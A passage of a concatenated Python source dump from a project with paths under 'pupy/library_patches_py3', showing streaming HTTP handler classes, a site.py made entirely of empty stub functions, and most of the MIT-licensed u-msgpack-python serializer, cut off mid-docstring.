            or code in (301, 302, 303) and m == "POST"):
            # Strictly (according to RFC 2616), 301 or 302 in response
            # to a POST MUST NOT cause a redirection without confirmation
            # from the user (of urllib2, in this case).  In practice,
            # essentially all clients do redirect in this case, so we
            # do the same.
            # be conciliant with URIs containing a space
            newurl = newurl.replace(' ', '%20')
            newheaders = {
                k: v for k, v in req.headers.items()
                if k.lower() not in (
                    "content-length", "content-type"
                )
            }

            return Request(
                newurl,
                headers=newheaders,
                origin_req_host=req.get_origin_req_host(),
                unverifiable=True
            )
        else:
            raise HTTPError(
                req.get_full_url(),
                code, msg, headers, fp
            )


class StreamingHTTPHandler(HTTPHandler):
    """Subclass of `urllib2.HTTPHandler` that uses
    StreamingHTTPConnection as its http connection class."""

    handler_order = HTTPHandler.handler_order - 1

    def http_open(self, req):
        """Open a StreamingHTTPConnection for the given request"""
        return self.do_open(StreamingHTTPConnection, req)

    def http_request(self, req):
        """Handle a HTTP request.  Make sure that Content-Length is specified
        if we're using an interable value"""
        # Make sure that if we're using an iterable object as the request
        # body, that we've also specified Content-Length
        if req.data is not None:
            data = req.data
            if hasattr(data, 'read') or hasattr(data, 'next'):
                if not req.has_header('Content-length'):
                    raise ValueError(
                        "No Content-Length specified for iterable body"
                    )
        return HTTPHandler.do_request_(self, req)


class StreamingHTTPSConnection(_StreamingHTTPMixin, HTTPSConnection):
    """Subclass of `httplib.HTTSConnection` that overrides the `send()`
    method to support iterable body objects"""


class StreamingHTTPSHandler(HTTPSHandler):
    """Subclass of `urllib2.HTTPSHandler` that uses
    StreamingHTTPSConnection as its http connection class."""

    handler_order = HTTPSHandler.handler_order - 1

    def https_open(self, req):
        return self.do_open(StreamingHTTPSConnection, req)

    def https_request(self, req):
        # Make sure that if we're using an iterable object as the request
        # body, that we've also specified Content-Length
        if req.data is not None:
            data = req.data
            if hasattr(data, 'read') or hasattr(data, 'next'):
                if not req.has_header('Content-length'):
                    raise ValueError(
                        "No Content-Length specified for iterable body"
                    )

        return HTTPSHandler.do_request_(self, req)


def get_handlers():
    return (
        StreamingHTTPHandler, StreamingHTTPRedirectHandler, StreamingHTTPSHandler
    )
    
def register_openers():
    """Register the streaming http handlers in the global urllib2 default
    opener object.

    Returns the created OpenerDirector object."""
    opener = build_opener(*get_handlers())
    install_opener(opener)

    return opener


================================================
FILE: pupy/library_patches_py3/site.py
================================================
import sys
import os
import builtins
import _sitebuiltins

PREFIXES = []
ENABLE_USER_SITE = False
USER_SITE = ''
USER_BASE = ''
def _trace(message):
	pass
def makepath(*paths):
	pass
def abs_paths():
	pass
def removeduppaths():
	pass
def _init_pathinfo():
	pass
def addpackage(sitedir, name, known_paths):
	pass
def addsitedir(sitedir, known_paths=None):
	pass
def check_enableusersite():
	pass
def _getuserbase():
	pass
def _get_path(userbase):
	pass
def getuserbase():
	pass
def getusersitepackages():
	pass
def addusersitepackages(known_paths):
	pass
def getsitepackages(prefixes=None):
	pass
def addsitepackages(known_paths, prefixes=None):
	pass
def setquit():
	pass
def setcopyright():
	pass
def sethelper():
	pass
def enablerlcompleter():
	pass
def venv(known_paths):
	pass
def execsitecustomize():
	pass
def execusercustomize():
	pass
def main():
	pass
def _script():
	pass



================================================
FILE: pupy/library_patches_py3/umsgpack.py
================================================
# u-msgpack-python v2.7.1 - v at sergeev.io
# https://github.com/vsergeev/u-msgpack-python
#
# u-msgpack-python is a lightweight MessagePack serializer and deserializer
# module, compatible with both Python 2 and 3, as well CPython and PyPy
# implementations of Python. u-msgpack-python is fully compliant with the
# latest MessagePack specification.com/msgpack/msgpack/blob/master/spec.md). In
# particular, it supports the new binary, UTF-8 string, and application ext
# types.
#
# MIT License
#
# Copyright (c) 2013-2020 vsergeev / Ivan (Vanya) A. Sergeev
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
#
"""
u-msgpack-python v2.7.1 - v at sergeev.io
https://github.com/vsergeev/u-msgpack-python

u-msgpack-python is a lightweight MessagePack serializer and deserializer
module, compatible with both Python 2 and 3, as well CPython and PyPy
implementations of Python. u-msgpack-python is fully compliant with the
latest MessagePack specification.com/msgpack/msgpack/blob/master/spec.md). In
particular, it supports the new binary, UTF-8 string, and application ext
types.

License: MIT
"""
import struct
import collections
import datetime
import sys
import io

if sys.version_info[0:2] >= (3, 3):
    from collections.abc import Hashable
else:
    from collections import Hashable

__version__ = "2.7.1"
"Module version string"

version = (2, 7, 1)
"Module version tuple"


##############################################################################
# Ext Class
##############################################################################

# Extension type for application-defined types and data
class Ext(object):
    """
    The Ext class facilitates creating a serializable extension object to store
    an application-defined type and data byte array.
    """

    def __init__(self, type, data):
        """
        Construct a new Ext object.

        Args:
            type: application-defined type integer
            data: application-defined data byte array

        TypeError:
            Type is not an integer.
        ValueError:
            Type is out of range of -128 to 127.
        TypeError::
            Data is not type 'bytes' (Python 3) or not type 'str' (Python 2).

        Example:
        >>> foo = umsgpack.Ext(5, b"\x01\x02\x03")
        >>> umsgpack.packb({u"special stuff": foo, u"awesome": True})
        '\x82\xa7awesome\xc3\xadspecial stuff\xc7\x03\x05\x01\x02\x03'
        >>> bar = umsgpack.unpackb(_)
        >>> print(bar["special stuff"])
        Ext Object (Type: 5, Data: 01 02 03)
        >>>
        """
        # Check type is type int and in range
        if not isinstance(type, int):
            raise TypeError("ext type is not type integer")
        elif not (-2**7 <= type <= 2**7 - 1):
            raise ValueError("ext type value {:d} is out of range (-128 to 127)".format(type))
        # Check data is type bytes or str
        elif sys.version_info[0] == 3 and not isinstance(data, bytes):
            raise TypeError("ext data is not type \'bytes\'")
        elif sys.version_info[0] == 2 and not isinstance(data, str):
            raise TypeError("ext data is not type \'str\'")

        self.type = type
        self.data = data

    def __eq__(self, other):
        """
        Compare this Ext object with another for equality.
        """
        return isinstance(other, self.__class__) \
            and self.type == other.type and self.data == other.data

    def __ne__(self, other):
        """
        Compare this Ext object with another for inequality.
        """
        return not self.__eq__(other)

    def __str__(self):
        """
        String representation of this Ext object.
        """
        s = "Ext Object (Type: {:d}, Data: ".format(self.type)
        s += " ".join(["0x{:02}".format(ord(self.data[i:i + 1]))
                       for i in xrange(min(len(self.data), 8))])
        if len(self.data) > 8:
            s += " ..."
        s += ")"
        return s

    def __hash__(self):
        """
        Provide a hash of this Ext object.
        """
        return hash((self.type, self.data))


class InvalidString(bytes):
    """Subclass of bytes to hold invalid UTF-8 strings."""


##############################################################################
# Ext Serializable Decorator
##############################################################################

_ext_class_to_type = {}
_ext_type_to_class = {}


def ext_serializable(ext_type):
    """
    Return a decorator to register a class for automatic packing and unpacking
    with the specified Ext type code. The application class should implement a
    `packb()` method that returns serialized bytes, and an `unpackb()` class
    method or static method that accepts serialized bytes and returns an
    instance of the application class.

    Args:
        ext_type: application-defined Ext type code

    Raises:
        TypeError:
            Ext type is not an integer.
        ValueError:
            Ext type is out of range of -128 to 127.
        ValueError:
            Ext type or class already registered.
    """
    def wrapper(cls):
        if not isinstance(ext_type, int):
            raise TypeError("Ext type is not type integer")
        elif not (-2**7 <= ext_type <= 2**7 - 1):
            raise ValueError("Ext type value {:d} is out of range of -128 to 127".format(ext_type))
        elif ext_type in _ext_type_to_class:
            raise ValueError("Ext type {:d} already registered with class {:s}".format(ext_type, repr(_ext_type_to_class[ext_type])))
        elif cls in _ext_class_to_type:
            raise ValueError("Class {:s} already registered with Ext type {:d}".format(repr(cls), ext_type))

        _ext_type_to_class[ext_type] = cls
        _ext_class_to_type[cls] = ext_type

        return cls

    return wrapper


##############################################################################
# Exceptions
##############################################################################


# Base Exception classes
class PackException(Exception):
    "Base class for exceptions encountered during packing."


class UnpackException(Exception):
    "Base class for exceptions encountered during unpacking."


# Packing error
class UnsupportedTypeException(PackException):
    "Object type not supported for packing."


# Unpacking error
class InsufficientDataException(UnpackException):
    "Insufficient data to unpack the serialized object."


class InvalidStringException(UnpackException):
    "Invalid UTF-8 string encountered during unpacking."


class UnsupportedTimestampException(UnpackException):
    "Unsupported timestamp format encountered during unpacking."


class ReservedCodeException(UnpackException):
    "Reserved code encountered during unpacking."


class UnhashableKeyException(UnpackException):
    """
    Unhashable key encountered during map unpacking.
    The serialized map cannot be deserialized into a Python dictionary.
    """


class DuplicateKeyException(UnpackException):
    "Duplicate key encountered during map unpacking."


# Backwards compatibility
KeyNotPrimitiveException = UnhashableKeyException
KeyDuplicateException = DuplicateKeyException

#############################################################################
# Exported Functions and Glob
#############################################################################

# Exported functions and variables, set up in __init()
pack = None
packb = None
unpack = None
unpackb = None
dump = None
dumps = None
load = None
loads = None

compatibility = False
"""
Compatibility mode boolean.

When compatibility mode is enabled, u-msgpack-python will serialize both
unicode strings and bytes into the old "raw" msgpack type, and deserialize the
"raw" msgpack type into bytes. This provides backwards compatibility with the
old MessagePack specification.

Example:
>>> umsgpack.compatibility = True
>>>
>>> umsgpack.packb([u"some string", b"some bytes"])
b'\x92\xabsome string\xaasome bytes'
>>> umsgpack.unpackb(_)
[b'some string', b'some bytes']
>>>
"""

##############################################################################
# Packing
##############################################################################

# You may notice struct.pack("B", obj) instead of the simpler chr(obj) in the
# code below. This is to allow for seamless Python 2 and 3 compatibility, as
# chr(obj) has a str return type instead of bytes in Python 3, and
# struct.pack(...) has the right return type in both versions.


def _pack_integer(obj, fp, options):
    if obj < 0:
        if obj >= -32:
            fp.write(struct.pack("b", obj))
        elif obj >= -2**(8 - 1):
            fp.write(b"\xd0" + struct.pack("b", obj))
        elif obj >= -2**(16 - 1):
            fp.write(b"\xd1" + struct.pack(">h", obj))
        elif obj >= -2**(32 - 1):
            fp.write(b"\xd2" + struct.pack(">i", obj))
        elif obj >= -2**(64 - 1):
            fp.write(b"\xd3" + struct.pack(">q", obj))
        else:
            raise UnsupportedTypeException("huge signed int")
    else:
        if obj < 128:
            fp.write(struct.pack("B", obj))
        elif obj < 2**8:
            fp.write(b"\xcc" + struct.pack("B", obj))
        elif obj < 2**16:
            fp.write(b"\xcd" + struct.pack(">H", obj))
        elif obj < 2**32:
            fp.write(b"\xce" + struct.pack(">I", obj))
        elif obj < 2**64:
            fp.write(b"\xcf" + struct.pack(">Q", obj))
        else:
            raise UnsupportedTypeException("huge unsigned int")


def _pack_nil(obj, fp, options):
    fp.write(b"\xc0")


def _pack_boolean(obj, fp, options):
    fp.write(b"\xc3" if obj else b"\xc2")


def _pack_float(obj, fp, options):
    float_precision = options.get('force_float_precision', _float_precision)

    if float_precision == "double":
        fp.write(b"\xcb" + struct.pack(">d", obj))
    elif float_precision == "single":
        fp.write(b"\xca" + struct.pack(">f", obj))
    else:
        raise ValueError("invalid float precision")


def _pack_string(obj, fp, options):
    obj = obj.encode('utf-8')
    obj_len = len(obj)
    if obj_len < 32:
        fp.write(struct.pack("B", 0xa0 | obj_len) + obj)
    elif obj_len < 2**8:
        fp.write(b"\xd9" + struct.pack("B", obj_len) + obj)
    elif obj_len < 2**16:
        fp.write(b"\xda" + struct.pack(">H", obj_len) + obj)
    elif obj_len < 2**32:
        fp.write(b"\xdb" + struct.pack(">I", obj_len) + obj)
    else:
        raise UnsupportedTypeException("huge string")


def _pack_binary(obj, fp, options):
    obj_len = len(obj)
    if obj_len < 2**8:
        fp.write(b"\xc4" + struct.pack("B", obj_len) + obj)
    elif obj_len < 2**16:
        fp.write(b"\xc5" + struct.pack(">H", obj_len) + obj)
    elif obj_len < 2**32:
        fp.write(b"\xc6" + struct.pack(">I", obj_len) + obj)
    else:
        raise UnsupportedTypeException("huge binary string")


def _pack_oldspec_raw(obj, fp, options):
    obj_len = len(obj)
    if obj_len < 32:
        fp.write(struct.pack("B", 0xa0 | obj_len) + obj)
    elif obj_len < 2**16:
        fp.write(b"\xda" + struct.pack(">H", obj_len) + obj)
    elif obj_len < 2**32:
        fp.write(b"\xdb" + struct.pack(">I", obj_len) + obj)
    else:
        raise UnsupportedTypeException("huge raw string")


def _pack_ext(obj, fp, options):
    obj_len = len(obj.data)
    if obj_len == 1:
        fp.write(b"\xd4" + struct.pack("B", obj.type & 0xff) + obj.data)
    elif obj_len == 2:
        fp.write(b"\xd5" + struct.pack("B", obj.type & 0xff) + obj.data)
    elif obj_len == 4:
        fp.write(b"\xd6" + struct.pack("B", obj.type & 0xff) + obj.data)
    elif obj_len == 8:
        fp.write(b"\xd7" + struct.pack("B", obj.type & 0xff) + obj.data)
    elif obj_len == 16:
        fp.write(b"\xd8" + struct.pack("B", obj.type & 0xff) + obj.data)
    elif obj_len < 2**8:
        fp.write(b"\xc7" + struct.pack("BB", obj_len, obj.type & 0xff) + obj.data)
    elif obj_len < 2**16:
        fp.write(b"\xc8" + struct.pack(">HB", obj_len, obj.type & 0xff) + obj.data)
    elif obj_len < 2**32:
        fp.write(b"\xc9" + struct.pack(">IB", obj_len, obj.type & 0xff) + obj.data)
    else:
        raise UnsupportedTypeException("huge ext data")


def _pack_ext_timestamp(obj, fp, options):
    if not obj.tzinfo:
        # Object is naive datetime, convert to aware date time,
        # assuming UTC timezone
        delta = obj.replace(tzinfo=_utc_tzinfo) - _epoch
    else:
        # Object is aware datetime
        delta = obj - _epoch

    seconds = delta.seconds + delta.days * 86400
    microseconds = delta.microseconds

    if microseconds == 0 and 0 <= seconds <= 2**32 - 1:
        # 32-bit timestamp
        fp.write(b"\xd6\xff" + struct.pack(">I", seconds))
    elif 0 <= seconds <= 2**34 - 1:
        # 64-bit timestamp
        value = ((microseconds * 1000) << 34) | seconds
        fp.write(b"\xd7\xff" + struct.pack(">Q", value))
    elif -2**63 <= abs(seconds) <= 2**63 - 1:
        # 96-bit timestamp
        fp.write(b"\xc7\x0c\xff" + struct.pack(">Iq", microseconds * 1000, seconds))
    else:
        raise UnsupportedTypeException("huge timestamp")


def _pack_array(obj, fp, options):
    obj_len = len(obj)
    if obj_len < 16:
        fp.write(struct.pack("B", 0x90 | obj_len))
    elif obj_len < 2**16:
        fp.write(b"\xdc" + struct.pack(">H", obj_len))
    elif obj_len < 2**32:
        fp.write(b"\xdd" + struct.pack(">I", obj_len))
    else:
        raise UnsupportedTypeException("huge array")

    for e in obj:
        pack(e, fp, **options)


def _pack_map(obj, fp, options):
    obj_len = len(obj)
    if obj_len < 16:
        fp.write(struct.pack("B", 0x80 | obj_len))
    elif obj_len < 2**16:
        fp.write(b"\xde" + struct.pack(">H", obj_len))
    elif obj_len < 2**32:
        fp.write(b"\xdf" + struct.pack(">I", obj_len))
    else:
        raise UnsupportedTypeException("huge array")

    for k, v in obj.items():
        pack(k, fp, **options)
        pack(v, fp, **options)

########################################


# Pack for Python 2, with 'unicode' type, 'str' type, and 'long' type
def _pack2(obj, fp, **options):
    """
    Serialize a Python object into MessagePack bytes.

    Args:
        obj: a Python object
        fp: a .write()-supporting file-like object

    Kwargs:
        ext_handlers (dict): dictionary of Ext handlers, mapping a custom type
                             to a callable that packs an instance of the type
                             into an Ext object
        force_float_precision (str): "single" to force packing floats as
                                     IEEE-754 single-precision floats,
                                     "double" to force packing floats as
                                     IEEE-754 double-precision floats.

    Returns:
        None.

    Raises:
        UnsupportedType(PackException):
            Object type not supported for packing.

    Example:
    >>> f = open('test.bin', 'wb')
    >>> umsgpack.pack({u"compact": True, u"schema": 0}, f)
    >>>
    """
    global compatibility

    ext_handlers = options.get("ext_handlers")

    if obj is None:
        _pack_nil(obj, fp, options)
    elif ext_handlers and obj.__class__ in ext_handlers:
        _pack_ext(ext_handlers[obj.__class__](obj), fp, options)
    elif obj.__class__ in _ext_class_to_type:
        try:
            _pack_ext(Ext(_ext_class_to_type[obj.__class__], obj.packb()), fp, options)
        except AttributeError:
            raise NotImplementedError("Ext serializable class {:s} is missing implementation of packb()".format(repr(obj.__class__)))
    elif isinstance(obj, bool):
        _pack_boolean(obj, fp, options)
    elif isinstance(obj, (int, long)):
        _pack_integer(obj, fp, options)
    elif isinstance(obj, float):
        _pack_float(obj, fp, options)
    elif compatibility and isinstance(obj, unicode):
        _pack_oldspec_raw(bytes(obj), fp, options)
    elif compatibility and isinstance(obj, bytes):
        _pack_oldspec_raw(obj, fp, options)
    elif isinstance(obj, unicode):
        _pack_string(obj, fp, options)
    elif isinstance(obj, str):
        _pack_binary(obj, fp, options)
    elif isinstance(obj, (list, tuple)):
        _pack_array(obj, fp, options)
    elif isinstance(obj, dict):
        _pack_map(obj, fp, options)
    elif isinstance(obj, datetime.datetime):
        _pack_ext_timestamp(obj, fp, options)
    elif isinstance(obj, Ext):
        _pack_ext(obj, fp, options)
    elif ext_handlers:
        # Linear search for superclass
        t = next((t for t in ext_handlers.keys() if isinstance(obj, t)), None)
        if t:
            _pack_ext(ext_handlers[t](obj), fp, options)
        else:
            raise UnsupportedTypeException(
                "unsupported type: {:s}".format(str(type(obj))))
    elif _ext_class_to_type:
        # Linear search for superclass
        t = next((t for t in _ext_class_to_type if isinstance(obj, t)), None)
        if t:
            try:
                _pack_ext(Ext(_ext_class_to_type[t], obj.packb()), fp, options)
            except AttributeError:
                raise NotImplementedError("Ext serializable class {:s} is missing implementation of packb()".format(repr(t)))
        else:
            raise UnsupportedTypeException("unsupported type: {:s}".format(str(type(obj))))
    else:
        raise UnsupportedTypeException("unsupported type: {:s}".format(str(type(obj))))


# Pack for Python 3, with unicode 'str' type, 'bytes' type, and no 'long' type
def _pack3(obj, fp, **options):
    """
    Serialize a Python object into MessagePack bytes.

    Args:
        obj: a Python object
        fp: a .write()-supporting file-like object

    Kwargs:
        ext_handlers (dict): dictionary of Ext handlers, mapping a custom type
                             to a callable that packs an instance of the type
                             into an Ext object
        force_float_precision (str): "single" to force packing floats as
                                     IEEE-754 single-precision floats,
                                     "double" to force packing floats as
                                     IEEE-754 double-precision floats.

    Returns:
        None.

    Raises:
        UnsupportedType(PackException):
            Object type not supported for packing.

    Example:
    >>> f = open('test.bin', 'wb')
    >>> umsgpack.pack({u"compact": True, u"schema": 0}, f)
    >>>
    """
    global compatibility

    ext_handlers = options.get("ext_handlers")

    if obj is None:
        _pack_nil(obj, fp, options)
    elif ext_handlers and obj.__class__ in ext_handlers:
        _pack_ext(ext_handlers[obj.__class__](obj), fp, options)
    elif obj.__class__ in _ext_class_to_type:
        try:
            _pack_ext(Ext(_ext_class_to_type[obj.__class__], obj.packb()), fp, options)
        except AttributeError:
            raise NotImplementedError("Ext serializable class {:s} is missing implementation of packb()".format(repr(obj.__class__)))
    elif isinstance(obj, bool):
        _pack_boolean(obj, fp, options)
    elif isinstance(obj, int):
        _pack_integer(obj, fp, options)
    elif isinstance(obj, float):
        _pack_float(obj, fp, options)
    elif compatibility and isinstance(obj, str):
        _pack_oldspec_raw(obj.encode('utf-8'), fp, options)
    elif compatibility and isinstance(obj, bytes):
        _pack_oldspec_raw(obj, fp, options)
    elif isinstance(obj, str):
        _pack_string(obj, fp, options)
    elif isinstance(obj, bytes):
        _pack_binary(obj, fp, options)
    elif isinstance(obj, (list, tuple)):
        _pack_array(obj, fp, options)
    elif isinstance(obj, dict):
        _pack_map(obj, fp, options)
    elif isinstance(obj, datetime.datetime):
        _pack_ext_timestamp(obj, fp, options)
    elif isinstance(obj, Ext):
        _pack_ext(obj, fp, options)
    elif ext_handlers:
        # Linear search for superclass
        t = next((t for t in ext_handlers.keys() if isinstance(obj, t)), None)
        if t:
            _pack_ext(ext_handlers[t](obj), fp, options)
        else:
            raise UnsupportedTypeException(
                "unsupported type: {:s}".format(str(type(obj))))
    elif _ext_class_to_type:
        # Linear search for superclass
        t = next((t for t in _ext_class_to_type if isinstance(obj, t)), None)
        if t:
            try:
                _pack_ext(Ext(_ext_class_to_type[t], obj.packb()), fp, options)
            except AttributeError:
                raise NotImplementedError("Ext serializable class {:s} is missing implementation of packb()".format(repr(t)))
        else:
            raise UnsupportedTypeException("unsupported type: {:s}".format(str(type(obj))))
    else:
        raise UnsupportedTypeException(
            "unsupported type: {:s}".format(str(type(obj))))


def _packb2(obj, **options):
    """
    Serialize a Python object into MessagePack bytes.

    Args:
        obj: a Python object

    Kwargs:
        ext_handlers (dict): dictionary of Ext handlers, mapping a custom type
                             to a callable that packs an instance of the type
                             into an Ext object
        force_float_precision (str): "single" to force packing floats as
                                     IEEE-754 single-precision floats,
                                     "double" to force packing floats as
                                     IEEE-754 double-precision floats.

    Returns:
        A 'str' containing serialized MessagePack bytes.

    Raises:
        UnsupportedType(PackException):
            Object type not supported for packing.

    Example:
    >>> umsgpack.packb({u"compact": True, u"schema": 0})
    '\x82\xa7compact\xc3\xa6schema\x00'
    >>>
    """
    fp = io.BytesIO()
    _pack2(obj, fp, **options)
    return fp.getvalue()


def _packb3(obj, **options):
    """
    Serialize a Python object into MessagePack bytes.

    Args:
        obj: a Python object

    Kwargs:
        ext_handlers (dict): dictionary of Ext handlers, mapping a custom type
                             to a callable that packs an instance of the type
                             into an Ext object
        force_float_precision (str): "single" to force packing floats as
                                     IEEE-754 single-precision floats,
                                     "double" to force packing floats as
                                     IEEE-754 double-precision floats.

    Returns:
        A 'bytes' containing serialized MessagePack bytes.

    Raises:
        UnsupportedType(PackException):
            Object type not supported for packing.

    Example:
    >>> umsgpack.packb({u"compact": True, u"schema": 0})
    b'\x82\xa7compact\xc3\xa6schema\x00'
    >>>
    """
    fp = io.BytesIO()
    _pack3(obj, fp, **options)
    return fp.getvalue()

#############################################################################
# Unpacking
#############################################################################


def _read_except(fp, n):
    if n == 0:
        return b""

    data = fp.read(n)
    if len(data) == 0:
        raise InsufficientDataException()

    while len(data) < n:
        chunk = fp.read(n - len(data))
        if len(chunk) == 0:
            raise InsufficientDataException()

        data += chunk

    return data


def _unpack_integer(code, fp, options):
    if (ord(code) & 0xe0) == 0xe0:
        return struct.unpack("b", code)[0]
    elif code == b'\xd0':
        return struct.unpack("b", _read_except(fp, 1))[0]
    elif code == b'\xd1':
        return struct.unpack(">h", _read_except(fp, 2))[0]
    elif code == b'\xd2':
        return struct.unpack(">i", _read_except(fp, 4))[0]
    elif code == b'\xd3':
        return struct.unpack(">q", _read_except(fp, 8))[0]
    elif (ord(code) & 0x80) == 0x00:
        return struct.unpack("B", code)[0]
    elif code == b'\xcc':
        return struct.unpack("B", _read_except(fp, 1))[0]
    elif code == b'\xcd':
        return struct.unpack(">H", _read_except(fp, 2))[0]
    elif code == b'\xce':
        return struct.unpack(">I", _read_except(fp, 4))[0]
    elif code == b'\xcf':
        return struct.unpack(">Q", _read_except(fp, 8))[0]
    raise Exception("logic error, not int: 0x{:02x}".format(ord(code)))


def _unpack_reserved(code, fp, options):
    if code == b'\xc1':
        raise ReservedCodeException(
            "encountered reserved code: 0x{:02x}".format(ord(code)))
    raise Exception(
        "logic error, not reserved code: 0x{:02x}".format(ord(code)))


def _unpack_nil(code, fp, options):
    if code == b'\xc0':
        return None
    raise Exception("logic error, not nil: 0x{:02x}".format(ord(code)))


def _unpack_boolean(code, fp, options):
    if code == b'\xc2':
        return False
    elif code == b'\xc3':
        return True
    raise Exception("logic error, not boolean: 0x{:02x}".format(ord(code)))


def _unpack_float(code, fp, options):
    if code == b'\xca':
        return struct.unpack(">f", _read_except(fp, 4))[0]
    elif code == b'\xcb':
        return struct.unpack(">d", _read_except(fp, 8))[0]
    raise Exception("logic error, not float: 0x{:02x}".format(ord(code)))


def _unpack_string(code, fp, options):
    if (ord(code) & 0xe0) == 0xa0:
        length = ord(code) & ~0xe0
    elif code == b'\xd9':
        length = struct.unpack("B", _read_except(fp, 1))[0]
    elif code == b'\xda':
        length = struct.unpack(">H", _read_except(fp, 2))[0]
    elif code == b'\xdb':
        length = struct.unpack(">I", _read_except(fp, 4))[0]
    else:
        raise Exception("logic error, not string: 0x{:02x}".format(ord(code)))

    # Always return raw bytes in compatibility mode
    global compatibility
    if compatibility:
        return _read_except(fp, length)

    data = _read_except(fp, length)
    try:
        return bytes.decode(data, 'utf-8')
    except UnicodeDecodeError:
        if options.get("allow_invalid_utf8"):
            return InvalidString(data)
        raise InvalidStringException("unpacked string is invalid utf-8")


def _unpack_binary(code, fp, options):
    if code == b'\xc4':
        length = struct.unpack("B", _read_except(fp, 1))[0]
    elif code == b'\xc5':
        length = struct.unpack(">H", _read_except(fp, 2))[0]
    elif code == b'\xc6':
        length = struct.unpack(">I", _read_except(fp, 4))[0]
    else:
        raise Exception("logic error, not binary: 0x{:02x}".format(ord(code)))

    return _read_except(fp, length)


def _unpack_ext(code, fp, options):
    if code == b'\xd4':
        length = 1
    elif code == b'\xd5':
        length = 2
    elif code == b'\xd6':
        length = 4
    elif code == b'\xd7':
        length = 8
    elif code == b'\xd8':
        length = 16
    elif code == b'\xc7':
        length = struct.unpack("B", _read_except(fp, 1))[0]
    elif code == b'\xc8':
        length = struct.unpack(">H", _read_except(fp, 2))[0]
    elif code == b'\xc9':
        length = struct.unpack(">I", _read_except(fp, 4))[0]
    else:
        raise Exception("logic error, not ext: 0x{:02x}".format(ord(code)))

    ext_type = struct.unpack("b", _read_except(fp, 1))[0]
    ext_data = _read_except(fp, length)

    # Unpack with ext handler, if we have one
    ext_handlers = options.get("ext_handlers")
    if ext_handlers and ext_type in ext_handlers:
        return ext_handlers[ext_type](Ext(ext_type, ext_data))

    # Unpack with ext classes, if type is registered
    if ext_type in _ext_type_to_class:
        try:
            return _ext_type_to_class[ext_type].unpackb(ext_data)
        except AttributeError:
            raise NotImplementedError("Ext serializable class {:s} is missing implementation of unpackb()".format(repr(_ext_type_to_class[ext_type])))

    # Timestamp extension
    if ext_type == -1:
        return _unpack_ext_timestamp(ext_data, options)

    return Ext(ext_type, ext_data)


def _unpack_ext_timestamp(ext_data, options):
    obj_len = len(ext_data)
    if obj_len == 4:
        # 32-bit timestamp
        seconds = struct.unpack(">I", ext_data)[0]
        microseconds = 0
    elif obj_len == 8:
        # 64-bit timestamp
        value = struct.unpack(">Q", ext_data)[0]
        seconds = value & 0x3ffffffff
        microseconds = (value >> 34) // 1000
    elif obj_len == 12:
        # 96-bit timestamp
        seconds = struct.unpack(">q", ext_data[4:12])[0]
        microseconds = struct.unpack(">I", ext_data[0:4])[0] // 1000
    else:
        raise UnsupportedTimestampException(
            "unsupported timestamp with data length {:d}".format(len(ext_data)))

    return _epoch + datetime.timedelta(seconds=seconds,
                                       microseconds=microseconds)


def _unpack_array(code, fp, options):
    if (ord(code) & 0xf0) == 0x90:
        length = (ord(code) & ~0xf0)
    elif code == b'\xdc':
        length = struct.unpack(">H", _read_except(fp, 2))[0]
    elif code == b'\xdd':
        length = struct.unpack(">I", _read_except(fp, 4))[0]
    else:
        raise Exception("logic error, not array: 0x{:02x}".format(ord(code)))

    if options.get('use_tuple'):
        return tuple((_unpack(fp, options) for i in xrange(length)))

    return [_unpack(fp, options) for i in xrange(length)]


def _deep_list_to_tuple(obj):
    if isinstance(obj, list):
        return tuple([_deep_list_to_tuple(e) for e in obj])
    return obj


def _unpack_map(code, fp, options):
    if (ord(code) & 0xf0) == 0x80:
        length = (ord(code) & ~0xf0)
    elif code == b'\xde':
        length = struct.unpack(">H", _read_except(fp, 2))[0]
    elif code == b'\xdf':
        length = struct.unpack(">I", _read_except(fp, 4))[0]
    else:
        raise Exception("logic error, not map: 0x{:02x}".format(ord(code)))

    d = {} if not options.get('use_ordered_dict') else collections.OrderedDict()
    for _ in xrange(length):
        # Unpack key
        k = _unpack(fp, options)

        if isinstance(k, list):
            # Attempt to convert list into a hashable tuple
            k = _deep_list_to_tuple(k)
        elif not isinstance(k, Hashable):
            raise UnhashableKeyException(
                "encountered unhashable key: \"{:s}\" ({:s})".format(str(k), str(type(k))))
        elif k in d:
            raise DuplicateKeyException(
                "encountered duplicate key: \"{:s}\" ({:s})".format(str(k), str(type(k))))

        # Unpack value
        v = _unpack(fp, options)

        try:
            d[k] = v
        except TypeError:
            raise UnhashableKeyException(
                "encountered unhashable key: \"{:s}\"".format(str(k)))
    return d


def _unpack(fp, options):
    code = _read_except(fp, 1)
    return _unpack_dispatch_table[code](code, fp, options)

########################################


def _unpack2(fp, **options):
    """
    Deserialize MessagePack bytes into a Python object.

    Args:
        fp: a .read()-supporting file-like object

    Kwargs:
        ext_handlers (dict): dictionary of Ext handlers, mapping integer Ext
                             type to a callable that unpacks an instance of
                             Ext into an object
        use_ordered_dict (bool): unpack maps into OrderedDict, instead of
                                 unordered dict (default False)
        use_tuple (bool): unpacks arrays into tuples, instead of lists (default
                          False)
        allow_invalid_utf8 (bool): unpack invalid strings into instances of
                                   InvalidString, for access to the bytes
                                   (default False)

    Returns:
        A Python object.

    Raises:
        InsufficientDataException(UnpackException):
            Insufficient data to unpack the serialized object.
        InvalidStringException(UnpackException):
            Invalid UTF-8 string encountered during unpacking.
        UnsupportedTimestampException(UnpackException):
            Unsupported timestamp format encountered during unpacking.
        ReservedCodeException(UnpackException):
            Reserved code encountered during unpacking.
        UnhashableKeyException(UnpackException):
            Unhashable key encountered during map unpacking.
            The serialized map cannot be deserialized into a Python dictionary.
        DuplicateKeyException(UnpackException):
